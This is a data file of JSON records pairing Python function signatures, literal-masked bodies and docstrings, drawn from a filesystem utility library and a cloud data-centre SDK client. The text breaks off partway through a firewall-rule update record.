{"signature": "def _AssertIsLocal(path):", "body": "from six.moves.urllib.parse import urlparse<EOL>if not _UrlIsLocal(urlparse(path)):<EOL><INDENT>from ._exceptions import NotImplementedForRemotePathError<EOL>raise NotImplementedForRemotePathError<EOL><DEDENT>", "docstring": "Checks if a given path is local, raise an exception if not.\n\nThis is used in filesystem functions that do not support remote operations yet.\n\n:param unicode path:\n\n:raises NotImplementedForRemotePathError:\n    If the given path is not local", "id": "f788:m38"}
{"signature": "def _HandleContentsEol(contents, eol_style):", "body": "if eol_style == EOL_STYLE_NONE:<EOL><INDENT>return contents<EOL><DEDENT>if eol_style == EOL_STYLE_UNIX:<EOL><INDENT>return contents.replace('<STR_LIT:\\r\\n>', eol_style).replace('<STR_LIT:\\r>', eol_style)<EOL><DEDENT>if eol_style == EOL_STYLE_MAC:<EOL><INDENT>return contents.replace('<STR_LIT:\\r\\n>', eol_style).replace('<STR_LIT:\\n>', eol_style)<EOL><DEDENT>if eol_style == EOL_STYLE_WINDOWS:<EOL><INDENT>return contents.replace('<STR_LIT:\\r\\n>', '<STR_LIT:\\n>').replace('<STR_LIT:\\r>', '<STR_LIT:\\n>').replace('<STR_LIT:\\n>', EOL_STYLE_WINDOWS)<EOL><DEDENT>raise ValueError('<STR_LIT>' % (eol_style,))<EOL>", "docstring": "Replaces eol on each line by the given eol_style.\n\n:param unicode contents:\n:type eol_style: EOL_STYLE_XXX constant\n:param eol_style:", "id": "f788:m39"}
{"signature": "def _CallWindowsNetCommand(parameters):", "body": "import subprocess<EOL>popen = subprocess.Popen([\"<STR_LIT>\"] + parameters, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)<EOL>stdoutdata, stderrdata = popen.communicate()<EOL>if stderrdata:<EOL><INDENT>raise OSError(\"<STR_LIT>\" % stderrdata)<EOL><DEDENT>return stdoutdata<EOL>", "docstring": "Call Windows NET command, used to acquire/configure network services settings.\n\n:param parameters: list of command line parameters\n\n:return: command output", "id": "f788:m40"}
{"signature": "def CheckForUpdate(source, target):", "body": "returnnot os.path.isfile(target) oros.path.getmtime(source) > os.path.getmtime(target)<EOL>", "docstring": "Checks if the given target filename should be re-generated because the source has changed.\n:param source: the source filename.\n:param target: the target filename.\n:return bool:\n    True if the target is out-dated, False otherwise.", "id": "f788:m41"}
{"signature": "def MatchMasks(filename, masks):", "body": "import fnmatch<EOL>if not isinstance(masks, (list, tuple)):<EOL><INDENT>masks = [masks]<EOL><DEDENT>for i_mask in masks:<EOL><INDENT>if fnmatch.fnmatch(filename, i_mask):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Verifies if a filename match with given patterns.\n\n:param str filename: The filename to match.\n:param list(str) masks: The patterns to search in the filename.\n:return bool:\n    True if the filename has matched with one pattern, False otherwise.", "id": "f788:m42"}
{"signature": "def FindFiles(dir_, in_filters=None, out_filters=None, recursive=True, include_root_dir=True, standard_paths=False):", "body": "<EOL>if in_filters is None:<EOL><INDENT>in_filters = ['<STR_LIT:*>']<EOL><DEDENT>if out_filters is None:<EOL><INDENT>out_filters = []<EOL><DEDENT>result = []<EOL>for dir_root, directories, filenames in os.walk(dir_):<EOL><INDENT>for i_directory in directories[:]:<EOL><INDENT>if MatchMasks(i_directory, out_filters):<EOL><INDENT>directories.remove(i_directory)<EOL><DEDENT><DEDENT>for filename in directories + filenames:<EOL><INDENT>if MatchMasks(filename, in_filters) and not MatchMasks(filename, out_filters):<EOL><INDENT>result.append(os.path.join(dir_root, filename))<EOL><DEDENT><DEDENT>if not recursive:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not include_root_dir:<EOL><INDENT>dir_prefix = len(dir_) + <NUM_LIT:1><EOL>result = [file[dir_prefix:] for file in result]<EOL><DEDENT>if standard_paths:<EOL><INDENT>result = map(StandardizePath, result)<EOL><DEDENT>return result<EOL>", "docstring": "Searches for files in a given directory that match with the given patterns.\n\n:param str dir_: the directory root, to search the files.\n:param list(str) in_filters: a list with patterns to match (default = all). E.g.: ['*.py']\n:param list(str) out_filters: a list with patterns to ignore (default = none). E.g.: ['*.py']\n:param bool recursive: if True search in subdirectories, otherwise, just in the root.\n:param bool include_root_dir: if True, includes the directory being searched in the returned paths\n:param bool standard_paths: if True, always uses unix path separators \"/\"\n:return list(str):\n    A list of strings with the files that matched (with the full path in the filesystem).", "id": "f788:m43"}
{"signature": "def ExpandUser(path):", "body": "if six.PY2:<EOL><INDENT>encoding = sys.getfilesystemencoding()<EOL>path = path.encode(encoding)<EOL><DEDENT>result = os.path.expanduser(path)<EOL>if six.PY2:<EOL><INDENT>result = result.decode(encoding)<EOL><DEDENT>return result<EOL>", "docstring": "os.path.expanduser wrapper, necessary because it cannot handle unicode strings properly.\n\nThis is not necessary in Python 3.\n\n:param path:\n    .. seealso:: os.path.expanduser", "id": "f788:m44"}
{"signature": "def DumpDirHashToStringIO(directory, stringio, base='<STR_LIT>', exclude=None, include=None):", "body": "import fnmatch<EOL>import os<EOL>files = [(os.path.join(directory, i), i) for i in os.listdir(directory)]<EOL>files = [i for i in files if os.path.isfile(i[<NUM_LIT:0>])]<EOL>for fullname, filename in files:<EOL><INDENT>if include is not None:<EOL><INDENT>if not fnmatch.fnmatch(fullname, include):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if exclude is not None:<EOL><INDENT>if fnmatch.fnmatch(fullname, exclude):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>md5 = Md5Hex(fullname)<EOL>if base:<EOL><INDENT>stringio.write('<STR_LIT>' % (base, filename, md5))<EOL><DEDENT>else:<EOL><INDENT>stringio.write('<STR_LIT>' % (filename, md5))<EOL><DEDENT><DEDENT>", "docstring": "Helper to iterate over the files in a directory putting those in the passed StringIO in ini\nformat.\n\n:param unicode directory:\n    The directory for which the hash should be done.\n\n:param StringIO stringio:\n    The string to which the dump should be put.\n\n:param unicode base:\n    If provided should be added (along with a '/') before the name=hash of file.\n\n:param unicode exclude:\n    Pattern to match files to exclude from the hashing. E.g.: *.gz\n\n:param unicode include:\n    Pattern to match files to include in the hashing. E.g.: *.zip", "id": "f788:m45"}
{"signature": "def Md5Hex(filename=None, contents=None):", "body": "import io<EOL>import hashlib<EOL>md5 = hashlib.md5()<EOL>if filename:<EOL><INDENT>stream = io.open(filename, '<STR_LIT:rb>')<EOL>try:<EOL><INDENT>while True:<EOL><INDENT>data = stream.read(md5.block_size * <NUM_LIT>)<EOL>if not data:<EOL><INDENT>break<EOL><DEDENT>md5.update(data)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>stream.close()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>md5.update(contents)<EOL><DEDENT>return six.text_type(md5.hexdigest())<EOL>", "docstring": ":param unicode filename:\n    The file from which the md5 should be calculated. If the filename is given, the contents\n    should NOT be given.\n\n:param unicode contents:\n    The contents for which the md5 should be calculated. If the contents are given, the filename\n    should NOT be given.\n\n:rtype: unicode\n:returns:\n    Returns a string with the hex digest of the stream.", "id": "f788:m46"}
{"signature": "def GetRandomHash(length=<NUM_LIT:7>):", "body": "import random<EOL>return ('<STR_LIT>' + six.text_type(length) + '<STR_LIT:x>') % random.randrange(<NUM_LIT:16> ** length)<EOL>", "docstring": ":param length:\n    Length of hash returned.\n\n:return unicode:\n    A random hexadecimal hash of the given length", "id": "f788:m47"}
{"signature": "def IterHashes(iterator_size, hash_length=<NUM_LIT:7>):", "body": "if not isinstance(iterator_size, int):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>count = <NUM_LIT:0><EOL>while count != iterator_size:<EOL><INDENT>count += <NUM_LIT:1><EOL>yield GetRandomHash(hash_length)<EOL><DEDENT>", "docstring": "Iterator for random hexadecimal hashes\n\n:param iterator_size:\n    Amount of hashes return before this iterator stops.\n    Goes on forever if `iterator_size` is negative.\n\n:param int hash_length:\n    Size of each hash returned.\n\n:return generator(unicode):", "id": "f788:m48"}
{"signature": "@contextlib.contextmanager<EOL>def PushPopItem(obj, key, value):", "body": "if key in obj:<EOL><INDENT>old_value = obj[key]<EOL>obj[key] = value<EOL>yield value<EOL>obj[key] = old_value<EOL><DEDENT>else:<EOL><INDENT>obj[key] = value<EOL>yield value<EOL>del obj[key]<EOL><DEDENT>", "docstring": "A context manager to replace and restore a value using a getter and setter.\n\n:param object obj: The object to replace/restore.\n:param object key: The key to replace/restore in the object.\n:param object value: The value to replace.\n\nExample::\n\n  with PushPop2(sys.modules, 'alpha', None):\n    pytest.raises(ImportError):\n      import alpha", "id": "f788:m49"}
{"signature": "def __init__(self, suffix='<STR_LIT>', prefix='<STR_LIT>', base_dir=None, maximum_attempts=<NUM_LIT:100>):", "body": "self.suffix = suffix<EOL>self.prefix = prefix<EOL>self.base_dir = base_dir<EOL>self.maximum_attempts = maximum_attempts<EOL>self.dirname = None<EOL>", "docstring": ":param unicode suffix:\n    A suffix to add in the name of the created directory\n\n:param unicode prefix:\n    A prefix to add in the name of the created directory\n\n:param unicode base_dir:\n    A path to use as base in the created directory (if any). The temp directory will be a\n    child of the given base dir\n\n:param int maximum_attemps:\n    The maximum number of attempts to obtain the temp dir name.", "id": "f788:c0:m0"}
{"signature": "def __enter__(self):", "body": "if self.base_dir is None:<EOL><INDENT>import tempfile<EOL>self.dirname = tempfile.mkdtemp(self.suffix, self.prefix)<EOL>return self.dirname<EOL><DEDENT>existing_files = set(ListFiles(self.base_dir))<EOL>for random_component in IterHashes(iterator_size=self.maximum_attempts):<EOL><INDENT>candidate_name = '<STR_LIT>' % (self.prefix, random_component, self.suffix)<EOL>candidate_path = os.path.join(self.base_dir, candidate_name)<EOL>if candidate_path not in existing_files:<EOL><INDENT>CreateDirectory(candidate_path)<EOL>self.dirname = candidate_path<EOL>return self.dirname<EOL><DEDENT><DEDENT>raise RuntimeError(<EOL>'<STR_LIT>' % self.base_dir)<EOL>", "docstring": ":return unicode:\n    The path to the created temp file.", "id": "f788:c0:m1"}
{"signature": "def __init__(<EOL>self,<EOL>contents,<EOL>eol_style=EOL_STYLE_NATIVE,<EOL>encoding=None,<EOL>suffix='<STR_LIT>',<EOL>prefix='<STR_LIT>',<EOL>base_dir=None,<EOL>maximum_attempts=<NUM_LIT:100>):", "body": "import tempfile<EOL>self.contents = contents<EOL>self.eol_style = eol_style<EOL>self.encoding = encoding<EOL>self.suffix = suffix<EOL>self.prefix = prefix<EOL>self.base_dir = base_dir or tempfile.gettempdir()<EOL>self.maximum_attempts = maximum_attempts<EOL>self.filename = None<EOL>", "docstring": ":param contents: .. seealso:: CreateFile\n:param eol_style: .. seealso:: CreateFile\n:param encoding: .. seealso:: CreateFile\n\n:param unicode suffix:\n    A suffix to add in the name of the created file\n\n:param unicode prefix:\n    A prefix to add in the name of the created file\n\n:param unicode base_dir:\n    A path to use as base in the created file. Uses temp dir if not given.\n\n:param int maximum_attemps:\n    The maximum number of attempts to obtain the temp file name.", "id": "f788:c1:m0"}
{"signature": "def __enter__(self):", "body": "from ._exceptions import FileAlreadyExistsError<EOL>for random_component in IterHashes(iterator_size=self.maximum_attempts):<EOL><INDENT>filename = os.path.join(self.base_dir, self.prefix + random_component + self.suffix)<EOL>try:<EOL><INDENT>CreateFile(<EOL>filename=filename,<EOL>contents=self.contents,<EOL>eol_style=self.eol_style,<EOL>encoding=self.encoding,<EOL>)<EOL>self.filename = filename<EOL>return filename<EOL><DEDENT>except FileAlreadyExistsError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>raise RuntimeError('<STR_LIT>' % self.base_dir)<EOL>", "docstring": ":return unicode:\n    The path to the created temp file.", "id": "f788:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def Split(cls, extended_path_mask):<DEDENT>", "body": "import os.path<EOL>r_tree_recurse = extended_path_mask[<NUM_LIT:0>] in '<STR_LIT>'<EOL>r_flat_recurse = extended_path_mask[<NUM_LIT:0>] in '<STR_LIT:->'<EOL>r_dirname, r_filters = os.path.split(extended_path_mask)<EOL>if r_tree_recurse:<EOL><INDENT>r_dirname = r_dirname[<NUM_LIT:1>:]<EOL><DEDENT>filters = r_filters.split('<STR_LIT:;>')<EOL>r_in_filters = [i for i in filters if not i.startswith('<STR_LIT:!>')]<EOL>r_out_filters = [i[<NUM_LIT:1>:] for i in filters if i.startswith('<STR_LIT:!>')]<EOL>return r_tree_recurse, r_flat_recurse, r_dirname, r_in_filters, r_out_filters<EOL>", "docstring": "Splits the given path into their components: recursive, dirname, in_filters and out_filters\n\n:param str: extended_path_mask:\n    The \"extended path mask\" to split\n\n:rtype: tuple(bool,bool,str,list(str),list(str))\n:returns:\n    Returns the extended path 5 components:\n    - The tree-recurse flag\n    - The flat-recurse flag\n    - The actual path\n    - A list of masks to include\n    - A list of masks to exclude", "id": "f788:c2:m0"}
{"signature": "def find_image(conn, name):", "body": "for item in conn.list_images()['<STR_LIT>']:<EOL><INDENT>if (item['<STR_LIT>']['<STR_LIT:location>'] == configuration.LOCATION and<EOL>item['<STR_LIT>']['<STR_LIT>'] == '<STR_LIT>' and<EOL>name in item['<STR_LIT>']['<STR_LIT:name>']):<EOL><INDENT>return item<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Find image by partial name and location.", "id": "f792:m1"}
{"signature": "def check_detached_cdrom_gone(parent):", "body": "parent.client.get_attached_cdrom(<EOL>datacenter_id=parent.datacenter['<STR_LIT:id>'],<EOL>server_id=parent.server['<STR_LIT:id>'],<EOL>cdrom_id=parent.test_image1['<STR_LIT:id>'])<EOL>", "docstring": "Check if an attached cdrom is not attached anymore and it throws a PBNotFoundError", "id": "f792:m2"}
{"signature": "def get_source_files():", "body": "scripts = []<EOL>modules = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>py_files = [\"<STR_LIT>\"]<EOL>files = []<EOL>for code_file in scripts + modules + py_files:<EOL><INDENT>is_script = code_file in scripts<EOL>if not os.path.exists(code_file):  <EOL><INDENT>alternative = os.path.join(os.environ.get(\"<STR_LIT>\", \"<STR_LIT>\"), code_file)<EOL>code_file = alternative if os.path.exists(alternative) else code_file<EOL><DEDENT>if is_script:<EOL><INDENT>with open(code_file, \"<STR_LIT:rb>\") as script_file:<EOL><INDENT>shebang = script_file.readline().decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>if ((sys.version_info[<NUM_LIT:0>] == <NUM_LIT:3> and \"<STR_LIT>\" in shebang)<EOL>or (\"<STR_LIT>\" in shebang and \"<STR_LIT>\" not in shebang)):<EOL><INDENT>files.append(code_file)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>files.append(code_file)<EOL><DEDENT><DEDENT>return files<EOL>", "docstring": "Return a list of sources files/directories (to check with flake8/pylint)", "id": "f802:m0"}
{"signature": "def _read_config(self, filename=None):", "body": "if filename:<EOL><INDENT>self._config_filename = filename<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>import appdirs<EOL><DEDENT>except ImportError:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self._config_filename = appdirs.user_config_dir(_LIBRARY_NAME, \"<STR_LIT>\") + \"<STR_LIT>\"<EOL><DEDENT>if not self._config:<EOL><INDENT>self._config = configparser.ConfigParser()<EOL>self._config.optionxform = str<EOL>self._config.read(self._config_filename)<EOL><DEDENT>", "docstring": "Read the user configuration", "id": "f811:c0:m1"}
{"signature": "def _save_config(self, filename=None):", "body": "if filename is None:<EOL><INDENT>filename = self._config_filename<EOL><DEDENT>parent_path = os.path.dirname(filename)<EOL>if not os.path.isdir(parent_path):<EOL><INDENT>os.makedirs(parent_path)<EOL><DEDENT>with open(filename, \"<STR_LIT:w>\") as configfile:<EOL><INDENT>self._config.write(configfile)<EOL><DEDENT>", "docstring": "Save the given user configuration.", "id": "f811:c0:m2"}
{"signature": "def _get_username(self, username=None, use_config=True, config_filename=None):", "body": "if not username and use_config:<EOL><INDENT>if self._config is None:<EOL><INDENT>self._read_config(config_filename)<EOL><DEDENT>username = self._config.get(\"<STR_LIT>\", \"<STR_LIT:username>\", fallback=None)<EOL><DEDENT>if not username:<EOL><INDENT>username = input(\"<STR_LIT>\").strip()<EOL>while not username:<EOL><INDENT>username = input(\"<STR_LIT>\").strip()<EOL><DEDENT>if '<STR_LIT>' not in self._config:<EOL><INDENT>self._config.add_section('<STR_LIT>')<EOL><DEDENT>self._config.set(\"<STR_LIT>\", \"<STR_LIT:username>\", username)<EOL>self._save_config()<EOL><DEDENT>return username<EOL>", "docstring": "Determine the username\n\n        If a username is given, this name is used. Otherwise the configuration\n        file will be consulted if `use_config` is set to True. The user is asked\n        for the username if the username is not available. Then the username is\n        stored in the configuration file.\n\n        :param      username: Username (used directly if given)\n        :type       username: ``str``\n\n        :param      use_config: Whether to read username from configuration file\n        :type       use_config: ``bool``\n\n        :param      config_filename: Path to the configuration file\n        :type       config_filename: ``str``", "id": "f811:c0:m3"}
{"signature": "def _get_password(self, password, use_config=True, config_filename=None,<EOL>use_keyring=HAS_KEYRING):", "body": "if not password and use_config:<EOL><INDENT>if self._config is None:<EOL><INDENT>self._read_config(config_filename)<EOL><DEDENT>password = self._config.get(\"<STR_LIT>\", \"<STR_LIT:password>\", fallback=None)<EOL><DEDENT>if not password and use_keyring:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL>question = (\"<STR_LIT>\"<EOL>.format(self.username, self.host_base))<EOL>if HAS_KEYRING:<EOL><INDENT>password = keyring.get_password(self.keyring_identificator, self.username)<EOL>if password is None:<EOL><INDENT>password = getpass.getpass(question)<EOL>try:<EOL><INDENT>keyring.set_password(self.keyring_identificator, self.username, password)<EOL><DEDENT>except keyring.errors.PasswordSetError as error:<EOL><INDENT>logger.warning(\"<STR_LIT>\",<EOL>self.keyring_identificator, error)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>logger.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>password = self._config.get(\"<STR_LIT>\", \"<STR_LIT:password>\", fallback=None)<EOL>if password is None:<EOL><INDENT>password = getpass.getpass(question)<EOL>store_plaintext_passwords = self._config.get(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", fallback=None)<EOL>if store_plaintext_passwords != \"<STR_LIT>\":<EOL><INDENT>question = (\"<STR_LIT>\" +<EOL>self._config_filename())<EOL>answer = ask(question, [\"<STR_LIT:yes>\", \"<STR_LIT>\", \"<STR_LIT>\"], \"<STR_LIT>\")<EOL>if answer == \"<STR_LIT:yes>\":<EOL><INDENT>self._config.set(\"<STR_LIT>\", \"<STR_LIT:password>\", password)<EOL>self._save_config()<EOL><DEDENT>elif answer == \"<STR_LIT>\":<EOL><INDENT>if \"<STR_LIT>\" not in self._config:<EOL><INDENT>self._config.add_section(\"<STR_LIT>\")<EOL><DEDENT>self._config.set(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>self._save_config()<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return password<EOL>", "docstring": "Determine the user password\n\nIf the password is given, this password is used. Otherwise\nthis function will try to get the password from the user's keyring\nif `use_keyring` is set to True.\n\n:param      username: Username (used directly if given)\n:type       username: ``str``\n\n:param      use_config: Whether to read username from configuration file\n:type       use_config: ``bool``\n\n:param      config_filename: Path to the configuration file\n:type       config_filename: ``str``", "id": "f811:c0:m4"}
{"signature": "def list_contracts(self, depth=<NUM_LIT:1>):", "body": "response = self._perform_request('<STR_LIT>' + str(depth))<EOL>return response<EOL>", "docstring": "Retrieves information about the resource limits\nfor a particular contract and the current resource usage.", "id": "f811:c0:m5"}
{"signature": "def get_datacenter(self, datacenter_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (datacenter_id, str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a data center by its ID.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m6"}
{"signature": "def get_datacenter_by_name(self, name, depth=<NUM_LIT:1>):", "body": "all_data_centers = self.list_datacenters(depth=depth)['<STR_LIT>']<EOL>data_center = find_item_by_name(all_data_centers, lambda i: i['<STR_LIT>']['<STR_LIT:name>'], name)<EOL>if not data_center:<EOL><INDENT>raise NameError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(name=name))<EOL><DEDENT>if len(data_center) > <NUM_LIT:1>:<EOL><INDENT>raise NameError(\"<STR_LIT>\".format(<EOL>n=len(data_center),<EOL>name=name,<EOL>names=\"<STR_LIT:U+002CU+0020>\".join(d['<STR_LIT>']['<STR_LIT:name>'] for d in data_center)<EOL>))<EOL><DEDENT>return data_center[<NUM_LIT:0>]<EOL>", "docstring": "Retrieves a data center by its name.\n\nEither returns the data center response or raises an Exception\nif no or more than one data center was found with the name.\nThe search for the name is done in this relaxing way:\n\n- exact name match\n- case-insentive name match\n- data center starts with the name\n- data center starts with the name  (case insensitive)\n- name appears in the data center name\n- name appears in the data center name (case insensitive)\n\n:param      name: The name of the data center.\n:type       name: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m7"}
{"signature": "def list_datacenters(self, depth=<NUM_LIT:1>):", "body": "response = self._perform_request('<STR_LIT>' + str(depth))<EOL>return response<EOL>", "docstring": "Retrieves a list of all data centers.", "id": "f811:c0:m8"}
{"signature": "def delete_datacenter(self, datacenter_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (datacenter_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes the data center and all its components such as servers, NICs,\nload balancers, volumes.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``", "id": "f811:c0:m9"}
{"signature": "def create_datacenter(self, datacenter):", "body": "server_items = []<EOL>volume_items = []<EOL>lan_items = []<EOL>loadbalancer_items = []<EOL>entities = dict()<EOL>properties = {<EOL>\"<STR_LIT:name>\": datacenter.name<EOL>}<EOL>if datacenter.location:<EOL><INDENT>properties['<STR_LIT:location>'] = datacenter.location<EOL><DEDENT>if datacenter.description:<EOL><INDENT>properties['<STR_LIT:description>'] = datacenter.description<EOL><DEDENT>if datacenter.servers:<EOL><INDENT>for server in datacenter.servers:<EOL><INDENT>server_items.append(self._create_server_dict(server))<EOL><DEDENT>servers = {<EOL>\"<STR_LIT>\": server_items<EOL>}<EOL>server_entities = {<EOL>\"<STR_LIT>\": servers<EOL>}<EOL>entities.update(server_entities)<EOL><DEDENT>if datacenter.volumes:<EOL><INDENT>for volume in datacenter.volumes:<EOL><INDENT>volume_items.append(self._create_volume_dict(volume))<EOL><DEDENT>volumes = {<EOL>\"<STR_LIT>\": volume_items<EOL>}<EOL>volume_entities = {<EOL>\"<STR_LIT>\": volumes<EOL>}<EOL>entities.update(volume_entities)<EOL><DEDENT>if datacenter.loadbalancers:<EOL><INDENT>for loadbalancer in datacenter.loadbalancers:<EOL><INDENT>loadbalancer_items.append(<EOL>self._create_loadbalancer_dict(<EOL>loadbalancer<EOL>)<EOL>)<EOL><DEDENT>loadbalancers = {<EOL>\"<STR_LIT>\": loadbalancer_items<EOL>}<EOL>loadbalancer_entities = {<EOL>\"<STR_LIT>\": loadbalancers<EOL>}<EOL>entities.update(loadbalancer_entities)<EOL><DEDENT>if datacenter.lans:<EOL><INDENT>for lan in datacenter.lans:<EOL><INDENT>lan_items.append(<EOL>self._create_lan_dict(lan)<EOL>)<EOL><DEDENT>lans = {<EOL>\"<STR_LIT>\": lan_items<EOL>}<EOL>lan_entities = {<EOL>\"<STR_LIT>\": lans<EOL>}<EOL>entities.update(lan_entities)<EOL><DEDENT>if not entities:<EOL><INDENT>raw = {<EOL>\"<STR_LIT>\": properties,<EOL>}<EOL><DEDENT>else:<EOL><INDENT>raw = {<EOL>\"<STR_LIT>\": properties,<EOL>\"<STR_LIT>\": entities<EOL>}<EOL><DEDENT>data = json.dumps(raw)<EOL>response = self._perform_request(<EOL>url='<STR_LIT>',<EOL>method='<STR_LIT:POST>',<EOL>data=data)<EOL>return response<EOL>", "docstring": "Creates a data center -- both simple and complex are supported.", "id": "f811:c0:m10"}
{"signature": "def update_datacenter(self, datacenter_id, **kwargs):", "body": "data = {}<EOL>for attr, value in kwargs.items():<EOL><INDENT>data[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT>response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id),<EOL>method='<STR_LIT>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Updates a data center with the parameters provided.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``", "id": "f811:c0:m11"}
{"signature": "def get_firewall_rule(self, datacenter_id,<EOL>server_id, nic_id, firewall_rule_id):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>nic_id,<EOL>firewall_rule_id))<EOL>return response<EOL>", "docstring": "Retrieves a single firewall rule by ID.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      nic_id: The unique ID of the NIC.\n:type       nic_id: ``str``\n\n:param      firewall_rule_id: The unique ID of the firewall rule.\n:type       firewall_rule_id: ``str``", "id": "f811:c0:m12"}
{"signature": "def get_firewall_rules(self, datacenter_id, server_id, nic_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>nic_id,<EOL>str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a list of firewall rules available in the account.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      nic_id: The unique ID of the NIC.\n:type       nic_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m13"}
{"signature": "def delete_firewall_rule(self, datacenter_id, server_id,<EOL>nic_id, firewall_rule_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>nic_id,<EOL>firewall_rule_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a firewall rule from the NIC.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      nic_id: The unique ID of the NIC.\n:type       nic_id: ``str``\n\n:param      firewall_rule_id: The unique ID of the firewall rule.\n:type       firewall_rule_id: ``str``", "id": "f811:c0:m14"}
{"signature": "def create_firewall_rule(self, datacenter_id, server_id,<EOL>nic_id, firewall_rule):", "body": "properties = {<EOL>\"<STR_LIT:name>\": firewall_rule.name<EOL>}<EOL>if firewall_rule.protocol:<EOL><INDENT>properties['<STR_LIT>'] = firewall_rule.protocol<EOL><DEDENT>if firewall_rule.source_mac:<EOL><INDENT>properties['<STR_LIT>'] = firewall_rule.source_mac<EOL><DEDENT>if firewall_rule.source_ip:<EOL><INDENT>properties['<STR_LIT>'] = firewall_rule.source_ip<EOL><DEDENT>if firewall_rule.target_ip:<EOL><INDENT>properties['<STR_LIT>'] = firewall_rule.target_ip<EOL><DEDENT>if firewall_rule.port_range_start:<EOL><INDENT>properties['<STR_LIT>'] = firewall_rule.port_range_start<EOL><DEDENT>if firewall_rule.port_range_end:<EOL><INDENT>properties['<STR_LIT>'] = firewall_rule.port_range_end<EOL><DEDENT>if firewall_rule.icmp_type:<EOL><INDENT>properties['<STR_LIT>'] = firewall_rule.icmp_type<EOL><DEDENT>if firewall_rule.icmp_code:<EOL><INDENT>properties['<STR_LIT>'] = firewall_rule.icmp_code<EOL><DEDENT>data = {<EOL>\"<STR_LIT>\": properties<EOL>}<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>nic_id),<EOL>method='<STR_LIT:POST>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Creates a firewall rule on the specified NIC and server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      nic_id: The unique ID of the NIC.\n:type       nic_id: ``str``\n\n:param      firewall_rule: A firewall rule dict.\n:type       firewall_rule: ``dict``", "id": "f811:c0:m15"}
{"signature": "def update_firewall_rule(self, datacenter_id, server_id,<EOL>nic_id, firewall_rule_id, **kwargs):", "body": "data = {}<EOL>for attr, value in kwargs.items():<EOL><INDENT>data[self._underscore_to_camelcase(attr)] = value<EOL>if attr == '<STR_LIT>':<EOL><INDENT>data['<STR_LIT>'] = value<EOL><DEDENT>elif attr == '<STR_LIT>':<EOL><INDENT>data['<STR_LIT>'] = value<EOL><DEDENT>elif attr == '<STR_LIT>':<EOL><INDENT>data['<STR_LIT>'] = value<EOL><DEDENT>elif attr == '<STR_LIT>':<EOL><INDENT>data['<STR_LIT>'] = value<EOL><DEDENT>elif attr == '<STR_LIT>':<EOL><INDENT>data['<STR_LIT>'] = value<EOL><DEDENT>elif attr == '<STR_LIT>':<EOL><INDENT>data['<STR_LIT>'] = value<EOL><DEDENT>elif attr == '<STR_LIT>':<EOL><INDENT>data['<STR_LIT>'] = value<EOL><DEDENT>else:<EOL><INDENT>data[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT><DEDENT>response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>nic_id,<EOL>firewall_rule_id),<EOL>method='<STR_LIT>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Updates a firewall rule.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: 